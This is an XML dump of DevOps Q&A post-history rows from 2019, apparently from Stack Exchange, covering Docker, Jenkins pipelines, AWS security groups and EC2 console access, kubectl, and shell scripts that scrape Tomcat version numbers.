  <row Id="21103" PostHistoryTypeId="2" PostId="6648" RevisionGUID="b8fc923a-2279-4f7d-be7a-a3516777de16" CreationDate="2019-03-18T03:01:47.003" UserId="6282" Text="You cannot rely on `FROM node:10.15-alpine` alone to fix this. I had to go with the fix from the facebook team. So if anyone else did not get a fix from modifying your `Dockerfile` to `node:10.15-alpine`, go to your `package.json` file and change react-scripts to the following facebook fix:&#xD;&#xA;&#xD;&#xA;`&quot;react-scripts&quot;: &quot;3.0.0-next.b0cbf2ca&quot;`&#xD;&#xA;&#xD;&#xA;Then go ahead and remove your `node_modules/` folder via `rm -rf node_modules` and then run `npm install`, check your `jest-util` file, it should now have an output like this:&#xD;&#xA;&#xD;&#xA;    └─┬ react-scripts@3.0.0-next.b0cbf2ca&#xD;&#xA;      ├─┬ babel-jest@24.5.0&#xD;&#xA;      │ └─┬ @jest/transform@24.5.0&#xD;&#xA;      │   ├─┬ jest-haste-map@24.5.0&#xD;&#xA;      │   │ └── jest-util@24.5.0  deduped&#xD;&#xA;      │   └── jest-util@24.5.0&#xD;&#xA;      └─┬ jest@24.5.0&#xD;&#xA;        └─┬ jest-cli@24.5.0&#xD;&#xA;          ├─┬ @jest/core@24.5.0&#xD;&#xA;          │ ├─┬ @jest/reporters@24.5.0&#xD;&#xA;          │ │ └── jest-util@24.5.0  deduped&#xD;&#xA;          │ ├─┬ jest-runner@24.5.0&#xD;&#xA;          │ │ └── jest-util@24.5.0  deduped&#xD;&#xA;          │ ├─┬ jest-runtime@24.5.0&#xD;&#xA;          │ │ └── jest-util@24.5.0  deduped&#xD;&#xA;          │ ├── jest-util@24.5.0  deduped&#xD;&#xA;          │ └─┬ jest-watcher@24.5.0&#xD;&#xA;          │   └── jest-util@24.5.0  deduped&#xD;&#xA;          ├─┬ jest-config@24.5.0&#xD;&#xA;          │ ├─┬ jest-environment-jsdom@24.5.0&#xD;&#xA;          │ │ └── jest-util@24.5.0  deduped&#xD;&#xA;          │ ├─┬ jest-environment-node@24.5.0&#xD;&#xA;          │ │ └── jest-util@24.5.0  deduped&#xD;&#xA;          │ ├─┬ jest-jasmine2@24.5.0&#xD;&#xA;          │ │ ├─┬ jest-each@24.5.0&#xD;&#xA;          │ │ │ └── jest-util@24.5.0  deduped&#xD;&#xA;          │ │ └── jest-util@24.5.0  deduped&#xD;&#xA;          │ └── jest-util@24.5.0  deduped&#xD;&#xA;          └── jest-util@24.5.0  deduped&#xD;&#xA;&#xD;&#xA;You should be good to run TravisCI build now. The issue is the react-scripts version `2.1.8` is conflicting with new version of Node. Suffered through this all day long, grateful to the facebook team for getting back to me. &#xD;&#xA;&#xD;&#xA;For reference: https://github.com/facebook/create-react-app/issues/6475" ContentLicense="CC BY-SA 4.0" />
  <row Id="21104" PostHistoryTypeId="2" PostId="6649" RevisionGUID="42fb4917-e423-45d7-94a6-c96d83a3eb6c" CreationDate="2019-03-18T03:37:57.270" UserId="6282" Text="First time users can obtain a free tier for a year with AWS, however, they will still ask for payment information if I am not mistaken. The nice thing about this solution is you can teach your students how to use Amazon Web Services such as Elasticbeanstalk, Elastic Compute Cloud (EC2) and these skills are valuable.&#xD;&#xA;&#xD;&#xA;Whereas, using a vanilla Linux server through Digital Ocean or Linode can also be educational, it would be highly technical, meaning a lot of use of the terminal command line, setting up SSH creds, securing, hardening and optimizing a Linux server which the average beginner and lay person does not know how to do and you do not need to self-disclose, but if you do not know how to do this, then just go with Amazon Web Services as I suggest. &#xD;&#xA;&#xD;&#xA;Having students playing around a Linux server without knowing security principles and practices is not right, but don't take my word for it, set up a Linux server for yourself as a test on DO or Linode and wait awhile, wait for Linode customer support to inform you about some repeated attempts at brute-force attack on your server.&#xD;&#xA;&#xD;&#xA;It's not personal, these scripts are out there and they sniff out servers that are not well-secured and not having anything of value is not the issue, I imagine you want these students to learn well, so if the Principles of Least Privilege and securing, optimizing and hardening a Linux server is not in the scope of your course, go with AWS.&#xD;&#xA;&#xD;&#xA;You can always show them how to shut down an EC2 instance and Elasticbeanstalk as part of the course." ContentLicense="CC BY-SA 4.0" />
  <row Id="21105" PostHistoryTypeId="2" PostId="6650" RevisionGUID="052b3843-eb5a-41c6-a70a-736e66c1aa55" CreationDate="2019-03-18T03:46:32.257" UserId="11832" Text="Maybe, this is something you can try - in sed they are known as back-references:&#xD;&#xA;&#xD;&#xA;$1 - is the value passed for username&#xD;&#xA;&#xD;&#xA;$2 - is the value passed for password&#xD;&#xA;&#xD;&#xA;\1 captures the back reference within \\( and \\)&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;sed -i &quot;s/\(mysql\.username=\).*/\1$1&quot; propertiesfile&#xD;&#xA;sed -i &quot;s/\(mysql\.pass=\).*/\1$2&quot; propertiesfile&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="21117" PostHistoryTypeId="2" PostId="6654" RevisionGUID="c60503b4-f0a3-455c-adf2-ec4bc4c8eef8" CreationDate="2019-03-18T19:18:06.890" UserId="6282" Text="Let's start with the inverse, what is a mutable server?&#xD;&#xA;&#xD;&#xA;Traditionally, a mutable server infrastructure is one that is continuously modified and updated in place. You can secure shell into it, upgrade packages, configure it, install services and deploy new code to it. This is what makes it mutable, you can mutate or modify it.&#xD;&#xA;&#xD;&#xA;An immutable infrastructure is another infrastructure paradigm in which servers are never modified after they're deployed. If something needs to be updated, fixed, or modified in any way, new servers built from a common image with the appropriate changes are provisioned to replace the old ones. After they're validated, they're put into use and the old ones are decommissioned.&#xD;&#xA;&#xD;&#xA;**Why are they used?**&#xD;&#xA;The benefits of an immutable infrastructure is more consistency and reliability in your infrastructure and a simpler, more predictable deployment process and it mitigates common server issues in mutable infrastructure, such as downtime from the server crashing or whatever.&#xD;&#xA;&#xD;&#xA;But you have to know how to provision it efficiently via comprehensive deployment automations and fast server provisioning.&#xD;&#xA;&#xD;&#xA;Imagine you are mining bitcoin, you would not want any downtime if your server crashed, you would need it back up as fast as possible, so an immutable infrastructure is supposed to be the solution." ContentLicense="CC BY-SA 4.0" />
  <row Id="21122" PostHistoryTypeId="2" PostId="6656" RevisionGUID="558e8677-e46d-4a29-82e0-118ff4521b64" CreationDate="2019-03-19T02:41:02.983" UserId="12958" Text="Checkout flux(https://github.com/weaveworks/flux/), it introduces a new kubernetes crd called HelmRelease, in which you can include your helm release info(like the chart repo, name, version, namespace, and values. You can even pull your charts from a git repo).&#xD;&#xA;&#xD;&#xA;The flux controller monitors a git repo of your choice(you can monitor a path inside the repo as well, which I think might best suit your requirements). And applies all the yaml/json files(including HelmRelease definitions) found in that path periodically.&#xD;&#xA;&#xD;&#xA;When a new HelmRelease definition is created, this other component of flux called helm-operator takes over and try to create/update your helm release to the desired state. &#xD;&#xA;&#xD;&#xA;The nice thing about this is you can define the desired cluster state using various yaml/json files and flux will try to keep it in sync. If you want to crate a new cluster, just copy the files to a new folder, deploy your cluster, configure flux on it with the new folder path and it'll do the rest of the work for you. &#xD;&#xA;Mind you flux is not a full ci/cd solution, so you can't run your shell scripts in it, you will have to find a different way to encode that information into yaml files. &#xD;&#xA;&#xD;&#xA;Take a look here(https://github.com/stefanprodan/gitops-helm) for a minimal git repo. &#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21127" PostHistoryTypeId="2" PostId="6659" RevisionGUID="4d72830c-963d-4f42-8474-2f71ff03f329" CreationDate="2019-03-19T09:06:05.180" UserId="12960" Text="i want to run a specific version of phpUnit WITHIN a docker container. This container will use a specific version of php. i.e&#xD;&#xA;&#xD;&#xA;php:5.6-apache&#xD;&#xA;&#xD;&#xA;Its a lareval application. i have install phpunit via composer on the hostfiles and then used the volume command to transfer this to the container.&#xD;&#xA;my composer.json file has following entry:&#xD;&#xA;&#xD;&#xA;&gt; &quot;require-dev&quot;: { &quot;phpunit/phpunit&quot;: &quot;^5.0&quot; }&#xD;&#xA;&#xD;&#xA;This is my docker run command to run the test on my testdev container:&#xD;&#xA;&#xD;&#xA;    docker run --rm -it -v ~/Users/mow/Documents/devFolder/testdev:/app testdev_php &quot;php ./vendor/bin/phpunit&quot;&#xD;&#xA;&#xD;&#xA;This returns the error:&#xD;&#xA;&#xD;&#xA;    exec: fatal: unable to exec php ./vendor/bin/phpunit: No such file or directory&#xD;&#xA;&#xD;&#xA;i am unclear why it says this because te vendor directory is at the root of my site directory.&#xD;&#xA;&#xD;&#xA;this is my dockerfile&#xD;&#xA;&#xD;&#xA;    FROM php:5.6-apache&#xD;&#xA;    &#xD;&#xA;    ENV S6_OVERLAY_VERSION 1.11.0.1&#xD;&#xA;    &#xD;&#xA;    RUN apt-get update &amp;&amp; apt-get install -y \&#xD;&#xA;        libldap2-dev \&#xD;&#xA;        git \&#xD;&#xA;        --no-install-recommends \&#xD;&#xA;        &amp;&amp; rm -r /var/lib/apt/lists/* \&#xD;&#xA;        &amp;&amp; docker-php-ext-configure ldap --with-libdir=lib/x86_64-linux-gnu/ \&#xD;&#xA;        &amp;&amp; docker-php-ext-install ldap \&#xD;&#xA;        &amp;&amp; docker-php-ext-install mysqli pdo pdo_mysql&#xD;&#xA;    &#xD;&#xA;    #install xdebug &#xD;&#xA;    RUN git clone https://github.com/xdebug/xdebug.git \&#xD;&#xA;        &amp;&amp; cd xdebug \&#xD;&#xA;        &amp;&amp; git checkout tags/XDEBUG_2_5_5 \&#xD;&#xA;        &amp;&amp; phpize \&#xD;&#xA;        &amp;&amp; ./configure --enable-xdebug \&#xD;&#xA;        &amp;&amp; make \&#xD;&#xA;        &amp;&amp; make install&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    RUN a2enmod rewrite&#xD;&#xA;    &#xD;&#xA;    COPY ./docker/rootfs /&#xD;&#xA;    COPY . /app&#xD;&#xA;    &#xD;&#xA;    WORKDIR /app&#xD;&#xA;    &#xD;&#xA;    ENTRYPOINT [&quot;/init&quot;]&#xD;&#xA;&#xD;&#xA;I guess the real question is this: what is the correct way to run a phpUnit test within a docker container so that its subject to the php version within that container.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21128" PostHistoryTypeId="1" PostId="6659" RevisionGUID="4d72830c-963d-4f42-8474-2f71ff03f329" CreationDate="2019-03-19T09:06:05.180" UserId="12960" Text="running a phpUnit test within a docker container" ContentLicense="CC BY-SA 4.0" />
  <row Id="21129" PostHistoryTypeId="3" PostId="6659" RevisionGUID="4d72830c-963d-4f42-8474-2f71ff03f329" CreationDate="2019-03-19T09:06:05.180" UserId="12960" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;dockerfile&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21130" PostHistoryTypeId="2" PostId="6660" RevisionGUID="56d1d13e-c94d-4f67-827d-7eb08385ad73" CreationDate="2019-03-19T11:35:12.127" UserId="12963" Text="I've got a set of build pipelines and I've developed a new rollback feature. Running the rollback pipeline manually invokes the rollback actions and does what I expect. I'm also trying to capture any build fails (usually manually hitting abort, or the job failing at some step) and then automatically invoke the rollback pipeline. Currently I have it in a post action:&#xD;&#xA;&#xD;&#xA;        post {&#xD;&#xA;          aborted {&#xD;&#xA;            def node_props = readYAMLProperties(&quot;nodes/${env.ENV}.yaml&quot;)&#xD;&#xA;            callRollback(node_props['ROLLBACK_JOB'], env.ENV)&#xD;&#xA;          }&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;The yaml item ROLLBACK_JOB contains the path to the Rollback pipeline so by invoking callRollback and passing on ROLLBACK_JOB it should kick off the Rollback pipeline with the correct environment passed to it.&#xD;&#xA;&#xD;&#xA;This however fails with &#xD;&#xA;&#xD;&#xA;    WorkflowScript: 142: Expected a step @ line 142, column 13.&#xD;&#xA;               def node_props = readYAMLProperties(&quot;nodes/${env.ENV}.yaml&quot;)&#xD;&#xA;               ^&#xD;&#xA;&#xD;&#xA;From what I can find, I assume I can't define a variable in the post action? I've been Googling all day on how to invoke my rollback pipeline from the post action with no luck!" ContentLicense="CC BY-SA 4.0" />
  <row Id="21131" PostHistoryTypeId="1" PostId="6660" RevisionGUID="56d1d13e-c94d-4f67-827d-7eb08385ad73" CreationDate="2019-03-19T11:35:12.127" UserId="12963" Text="Running a rollback pipeline on abort in Jenkins?" ContentLicense="CC BY-SA 4.0" />
  <row Id="21132" PostHistoryTypeId="3" PostId="6660" RevisionGUID="56d1d13e-c94d-4f67-827d-7eb08385ad73" CreationDate="2019-03-19T11:35:12.127" UserId="12963" Text="&lt;jenkins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21137" PostHistoryTypeId="2" PostId="6661" RevisionGUID="df669f1f-8f92-4729-b686-b6575aa0869f" CreationDate="2019-03-20T02:24:43.960" UserId="6282" Text="I am developing my Security Group for a VPC that has my Elasticbeanstalk, RDS and ElastiCache services and I am at this dashboard:&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/4wnsF.png&#xD;&#xA;&#xD;&#xA;Under **Source**, it used to be that you could select `sg-0x12345-my-application`, but now it only gives you the option of **Custom**, **Anywhere** or **MyIP** and I am not sure which one is the equivalent to selecting the security group for the architecture I am building this SG for." ContentLicense="CC BY-SA 4.0" />
  <row Id="21138" PostHistoryTypeId="1" PostId="6661" RevisionGUID="df669f1f-8f92-4729-b686-b6575aa0869f" CreationDate="2019-03-20T02:24:43.960" UserId="6282" Text="Which option do I select for Security Group Source?" ContentLicense="CC BY-SA 4.0" />
  <row Id="21139" PostHistoryTypeId="3" PostId="6661" RevisionGUID="df669f1f-8f92-4729-b686-b6575aa0869f" CreationDate="2019-03-20T02:24:43.960" UserId="6282" Text="&lt;amazon-web-services&gt;&lt;aws-vpc&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21140" PostHistoryTypeId="2" PostId="6662" RevisionGUID="b6f3d674-7f12-4300-b97e-516a7791b51a" CreationDate="2019-03-20T02:45:23.417" UserId="8800" Text="Use **Custom** and then start typing `sg-...` and it should pop up a list of available groups." ContentLicense="CC BY-SA 4.0" />
  <row Id="21150" PostHistoryTypeId="2" PostId="6666" RevisionGUID="4c6f094d-17a2-49cc-b21b-acc7ef3406e7" CreationDate="2019-03-20T16:37:48.093" UserId="12985" Text="thanks for motivation.&#xD;&#xA;I made a powershell version of it.&#xD;&#xA;Check it out...&#xD;&#xA;With it you can move in dockerhub containers to a restricted docker networks with a stupid windows desktop and an ssh-scp tool to docker machine without root or administrator rights&#xD;&#xA;&#xD;&#xA;https://gitlab.com/Jancsoj78/dockerless_docker_downloader&#xD;&#xA;a new hacker tool :)" ContentLicense="CC BY-SA 4.0" />
  <row Id="21163" PostHistoryTypeId="2" PostId="6669" RevisionGUID="21666124-8140-41a0-85df-f28fa1917a46" CreationDate="2019-03-21T06:08:34.140" UserId="12994" Text="I have several files named out1, out2, ... in my kubernetes container.&#xD;&#xA;&#xD;&#xA;   $ kubectl cp pod:/path/out* .&#xD;&#xA;&#xD;&#xA;gave an error:&#xD;&#xA;&#xD;&#xA;    tar: Removing leading `/' from member names&#xD;&#xA;    tar: /path/out*: Cannot stat: No such file or directory&#xD;&#xA;    tar: Exiting with failure status due to previous errors&#xD;&#xA;    error: path/out* no such file or directory&#xD;&#xA;&#xD;&#xA;Can I use kubectl cp with wildcards? Thank you.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21164" PostHistoryTypeId="1" PostId="6669" RevisionGUID="21666124-8140-41a0-85df-f28fa1917a46" CreationDate="2019-03-21T06:08:34.140" UserId="12994" Text="Copy multiple files using * wildcard from kubernetes container" ContentLicense="CC BY-SA 4.0" />
  <row Id="21165" PostHistoryTypeId="3" PostId="6669" RevisionGUID="21666124-8140-41a0-85df-f28fa1917a46" CreationDate="2019-03-21T06:08:34.140" UserId="12994" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21174" PostHistoryTypeId="2" PostId="6672" RevisionGUID="02180ee4-1167-4f6e-9452-5ce4c8b6a271" CreationDate="2019-03-21T14:25:00.340" UserId="12890" Text="* Ask if they track DevOps time to know the amount of work&#xD;&#xA;* Ask how many external services do they have and if you need to manage them&#xD;&#xA;* Ask how many technologies do they own and use daily and what you need to manage&#xD;&#xA;* Ask how big is their server infrastructure and how do they monitor it&#xD;&#xA;* Ask who teaches people how to work with `ssh` and `git rebase`&#xD;&#xA;* Ask if they need you to optimize DB queries&#xD;&#xA;&#xD;&#xA;Ask them to cross out any two things from the menu above. )&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21175" PostHistoryTypeId="2" PostId="6673" RevisionGUID="24b4de46-5505-4133-ab5d-fbd4eac55c53" CreationDate="2019-03-21T14:28:36.580" UserId="13000" Text="Looking for some assistance or ideas on how to grab the latest version of a Tomcat release from their website or other website.&#xD;&#xA;&#xD;&#xA;I came across these Stack Overflow/Stack Exchange links that were relevant below:&#xD;&#xA;&#xD;&#xA; - https://stackoverflow.com/questions/22510705/get-the-latest-download-link-programmatically (Nginx, but same idea)&#xD;&#xA; - https://devops.stackexchange.com/questions/3262/how-to-get-the-latest-tomcat-version&#xD;&#xA;&#xD;&#xA;..But unfortunately both led to some dead-ends. It did give me some ideas though.&#xD;&#xA;&#xD;&#xA;I have some installation scripts where the download URL is predictable based on the version number of the software, so if there's a consistent way of scraping for the latest version of the software I simply add a variable into the script for it to curl / grep for that version on the text and use that variable for download links, untaring, moving, etc.&#xD;&#xA;&#xD;&#xA;Hoping to do something with Tomcat in the same vein. A installation script I won't need to keep updating (unless they change their site).&#xD;&#xA;&#xD;&#xA;Any sort of thoughts, ideas, are appreciated.&#xD;&#xA;&#xD;&#xA;I've also looked at http://tomcat.apache.org/whichversion.html which lists the &quot;Latest Released Version&quot; and this seems like maybe the best, more reliable location to grab the version, but I had trouble getting that with Curl / Grep because of the table structure. I am only just scratching the surface with learning those commands, so maybe someone more well versed could get that working, otherwise I'm definitely open to other thoughts!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    curl -i https://api.github.com/repos/apache/tomcat/tags | grep '&quot;name&quot;' | head -1 | egrep -o &quot;([0-9]{1,}\.)+[0-9]{1,}&quot;&#xD;&#xA;&#xD;&#xA;It seems to work but I am not sure if I am entirely happy with it. An additional use-case that I thought of, is it would be nice to grab the latest version of each major version instead of just the absolute latest.&#xD;&#xA;&#xD;&#xA;Do you have suggestions on how you would parse the highest number with the link you provided, and/or how to start in one of those directories and parse the highest there? That way for example I could create a latest version install script for Tomcat 7, 8, 9, etc.&#xD;&#xA;&#xD;&#xA;Thank you!! (Like I said I am just getting started, so please my apologies with the lack of knowledge but I do appreciate digging in and understanding how the commands work or reached their conclusion)" ContentLicense="CC BY-SA 4.0" />
  <row Id="21176" PostHistoryTypeId="1" PostId="6673" RevisionGUID="24b4de46-5505-4133-ab5d-fbd4eac55c53" CreationDate="2019-03-21T14:28:36.580" UserId="13000" Text="Programmatically scrape the latest version of Tomcat for an installation script" ContentLicense="CC BY-SA 4.0" />
  <row Id="21177" PostHistoryTypeId="3" PostId="6673" RevisionGUID="24b4de46-5505-4133-ab5d-fbd4eac55c53" CreationDate="2019-03-21T14:28:36.580" UserId="13000" Text="&lt;shell-script&gt;&lt;tomcat&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21178" PostHistoryTypeId="50" PostId="6385" RevisionGUID="a7b92ced-9ad2-4797-ad1d-f8a0d1ccc347" CreationDate="2019-03-21T15:03:11.640" UserId="-1" />
  <row Id="21179" PostHistoryTypeId="2" PostId="6674" RevisionGUID="825354ea-4846-45d1-a829-a6d175e131e2" CreationDate="2019-03-21T15:12:12.413" UserId="6619" Text="I'm new to AWS and am looking for a way to access my EC2's console so I can triage issues such:&#xD;&#xA;&#xD;&#xA;- boot to single user mode&#xD;&#xA;- view console output as system boots&#xD;&#xA;- gain console access to debug GRUB issues" ContentLicense="CC BY-SA 4.0" />
  <row Id="21180" PostHistoryTypeId="1" PostId="6674" RevisionGUID="825354ea-4846-45d1-a829-a6d175e131e2" CreationDate="2019-03-21T15:12:12.413" UserId="6619" Text="How can I access the console of a booting ec2 instance in AWS?" ContentLicense="CC BY-SA 4.0" />
  <row Id="21181" PostHistoryTypeId="3" PostId="6674" RevisionGUID="825354ea-4846-45d1-a829-a6d175e131e2" CreationDate="2019-03-21T15:12:12.413" UserId="6619" Text="&lt;amazon-web-services&gt;&lt;amazon-ec2&gt;&lt;linux&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21182" PostHistoryTypeId="2" PostId="6675" RevisionGUID="be87cb3a-a947-4142-84d3-b9c9acc51f8a" CreationDate="2019-03-21T15:12:12.413" UserId="6619" Text="When using cloud services such as AWS or Azure your ability to access the console of booting instances is typically restricted to a read-only type of interaction. &#xD;&#xA;&#xD;&#xA;AWS does provide tools, so you just need to adjust your approach, if you're expecting to drop to single user mode or watch a booting system on a console.&#xD;&#xA;&#xD;&#xA;For example, in the EC2 services area of AWS you can select a EC2 instance and then under the actions menu select either:&#xD;&#xA;&#xD;&#xA;- Get System Log&#xD;&#xA;- Get Instance Screenshot&#xD;&#xA;&#xD;&#xA;#### **Screenshot of actions menu**&#xD;&#xA;&#xD;&#xA;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;[![ss#1][1]][1]&#xD;&#xA;&#xD;&#xA;#### **Screenshot of &quot;System Log&quot;**&#xD;&#xA;&#xD;&#xA;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;[![ss#2][2]][2]&#xD;&#xA;&#xD;&#xA;#### **Screenshot of &quot;instance's console&quot;**&#xD;&#xA;&#xD;&#xA;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;[![ss#3][3]][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/CR8Bg.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/SF1NB.png&#xD;&#xA;  [3]: https://i.stack.imgur.com/fYFsr.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="21184" PostHistoryTypeId="5" PostId="6675" RevisionGUID="f984bc55-05aa-444f-99b9-24e9270581c2" CreationDate="2019-03-21T16:05:49.073" UserId="6619" Comment="added 24 characters in body" Text="### Background&#xD;&#xA;When using cloud services such as AWS or Azure your ability to access the console of booting instances is typically restricted to a read-only type of interaction. &#xD;&#xA;&#xD;&#xA;AWS does provide tools, so you just need to adjust your approach, if you're expecting to drop to single user mode or watch a booting system on a console.&#xD;&#xA;&#xD;&#xA;For example, in the EC2 services area of AWS you can select a EC2 instance and then under the actions menu select either:&#xD;&#xA;&#xD;&#xA;- Get System Log&#xD;&#xA;- Get Instance Screenshot&#xD;&#xA;&#xD;&#xA;### Example&#xD;&#xA;&#xD;&#xA;#### **Step 1: Screenshot of actions menu**&#xD;&#xA;&#xD;&#xA;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;[![ss#1][1]][1]&#xD;&#xA;&#xD;&#xA;#### **Step 2: Screenshot of &quot;System Log&quot;**&#xD;&#xA;&#xD;&#xA;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;[![ss#2][2]][2]&#xD;&#xA;&#xD;&#xA;#### **Step 3: Screenshot of &quot;instance's console&quot;**&#xD;&#xA;&#xD;&#xA;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;[![ss#3][3]][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/CR8Bg.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/SF1NB.png&#xD;&#xA;  [3]: https://i.stack.imgur.com/fYFsr.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="21185" PostHistoryTypeId="4" PostId="6674" RevisionGUID="bba6b99e-075d-46b4-8530-f5480f6d160c" CreationDate="2019-03-21T16:07:20.513" UserId="6619" Comment="edited title" Text="How can I access the console of a booting EC2 instance in AWS?" ContentLicense="CC BY-SA 4.0" />
  <row Id="21186" PostHistoryTypeId="2" PostId="6676" RevisionGUID="63bd773f-5746-4f4b-b734-85dcc2638b5b" CreationDate="2019-03-21T17:12:09.703" UserId="13005" Text="Your first step is to setup and configure the Route53 service from the rancher catalog.&#xD;&#xA;&#xD;&#xA;After that, the load-balancer will automatically update its DNS in Route53." ContentLicense="CC BY-SA 4.0" />
  <row Id="21187" PostHistoryTypeId="2" PostId="6677" RevisionGUID="c97f4fec-6114-4965-ae03-a67280967927" CreationDate="2019-03-21T21:13:24.143" UserId="13000" Text="I've created a couple crude methods of grabbing the latest major versions of releases, as well as absolute latest.&#xD;&#xA;&#xD;&#xA;    # Grab Latest Tomcat 7&#xD;&#xA;    curl -i https://www-us.apache.org/dist/tomcat/tomcat-7/ | grep -Po '(?&lt;=(&lt;a href=&quot;v)).*(?=/&quot;&gt;v)'&#xD;&#xA;&#xD;&#xA;    # Grab Latest Tomcat 8&#xD;&#xA;    curl -i https://www-us.apache.org/dist/tomcat/tomcat-8/ | grep -Po '(?&lt;=(&lt;a href=&quot;v)).*(?=/&quot;&gt;v)'&#xD;&#xA;&#xD;&#xA;    # Grab Latest Tomcat 9&#xD;&#xA;    curl -i https://www-us.apache.org/dist/tomcat/tomcat-9/ | grep -Po '(?&lt;=(&lt;a href=&quot;v)).*(?=/&quot;&gt;v)'&#xD;&#xA;&#xD;&#xA;    # Grab Latest Tomcat&#xD;&#xA;    curl -i https://api.github.com/repos/apache/tomcat/tags | grep '&quot;name&quot;' | head -1 | egrep -o &quot;([0-9]{1,}\.)+[0-9]{1,}&quot;&#xD;&#xA;&#xD;&#xA;It's a bit of a hack where I'm looking for text in-between two values on a web page to grab the version number. It's crude and I'm sure there's a more elegant way to grab this, but this what I was able to figure out with my skillset! Maybe it can help someone in the future, but if anyone has better ideas I'm all ears." ContentLicense="CC BY-SA 4.0" />
  <row Id="21188" PostHistoryTypeId="2" PostId="6678" RevisionGUID="1edbeb58-c2f5-442e-9c69-a45590e04a0e" CreationDate="2019-03-22T02:09:00.207" UserId="13011" Text="You can use the &quot;[when][1]&quot; block combined with the changeset condition to run only certain stages of your monorepo's pipeline. From the when.changeset documentation:&#xD;&#xA;&#xD;&#xA;changeset- &#xD;&#xA;Executes the stage if the build’s SCM changeset contains one or more files matching the given string or glob. Example: when { changeset &quot;**/*.js&quot; }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Here is an example Jenkinsfile using this strategy:&#xD;&#xA;&#xD;&#xA;    pipeline {&#xD;&#xA;        agent any&#xD;&#xA;        stages {&#xD;&#xA;            stage('build matchengine') {&#xD;&#xA;                when {&#xD;&#xA;                    changeset &quot;**/matchengine/*.*&quot;&#xD;&#xA;                }&#xD;&#xA;                steps {&#xD;&#xA;                    echo 'building match engine'&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;            stage('build posttrade') {&#xD;&#xA;                when {&#xD;&#xA;                    changeset &quot;**/posttrade/*.*&quot;&#xD;&#xA;                }&#xD;&#xA;                steps {&#xD;&#xA;                    echo 'building post trade'&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;, given the monorepo project structure &#xD;&#xA;&#xD;&#xA;     .(my-project)&#xD;&#xA;       |-- Jenkinsfile&#xD;&#xA;       |-- matchengine&#xD;&#xA;       |-- posttrade&#xD;&#xA;       |-- serverless&#xD;&#xA;       |-- ui&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://jenkins.io/doc/book/pipeline/syntax/#when" ContentLicense="CC BY-SA 4.0" />
  <row Id="21189" PostHistoryTypeId="5" PostId="6678" RevisionGUID="8fbf857f-d0d3-419a-917d-66c5010e0443" CreationDate="2019-03-22T02:16:04.243" UserId="13011" Comment="added 11 characters in body" Text="You can use the &quot;[when][1]&quot; block combined with the built in &quot;changeset&quot; condition to conditionally run only certain stages of your monorepo's pipeline. From the when.changeset documentation:&#xD;&#xA;&#xD;&#xA;changeset- &#xD;&#xA;Executes the stage if the build’s SCM changeset contains one or more files matching the given string or glob. Example: when { changeset &quot;**/*.js&quot; }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Here is an example Jenkinsfile using this strategy:&#xD;&#xA;&#xD;&#xA;    pipeline {&#xD;&#xA;        agent any&#xD;&#xA;        stages {&#xD;&#xA;            stage('build matchengine') {&#xD;&#xA;                when {&#xD;&#xA;                    changeset &quot;**/matchengine/*.*&quot;&#xD;&#xA;                }&#xD;&#xA;                steps {&#xD;&#xA;                    echo 'building match engine'&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;            stage('build posttrade') {&#xD;&#xA;                when {&#xD;&#xA;                    changeset &quot;**/posttrade/*.*&quot;&#xD;&#xA;                }&#xD;&#xA;                steps {&#xD;&#xA;                    echo 'building post trade'&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;, applicable to the monorepo project structure shown below:&#xD;&#xA;&#xD;&#xA;     .(my-project)&#xD;&#xA;       |-- Jenkinsfile&#xD;&#xA;       |-- matchengine&#xD;&#xA;       |-- posttrade&#xD;&#xA;       |-- serverless&#xD;&#xA;       |-- ui&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: 